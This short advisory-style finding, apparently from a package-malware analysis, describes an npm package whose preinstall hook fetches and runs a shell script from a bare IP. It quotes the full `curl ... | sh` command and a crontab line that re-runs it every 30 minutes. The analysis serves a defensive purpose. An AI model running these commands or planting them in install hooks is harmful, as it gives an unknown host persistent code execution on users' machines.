[email protected] declares a preinstall hook that runs `curl -s 216.126.236.46/x.sh | sh`, fetching a shell script from a bare IP over plain HTTP and executing it as the installer on `npm install`. The same hook installs a crontab entry (`*/30 * * * * curl -s 216.126.236.46/x.sh | sh`) that re-fetches and executes the remote script every 30 minutes, providing persistent remote code delivery to the installer's host. The endpoint is an anonymous bare-IP address unrelated to any package publisher and the fetched content is unpinned and integrity-unchecked, so whatever bytes 216.126.236.46 returns run as the user performing the install, indefinitely.
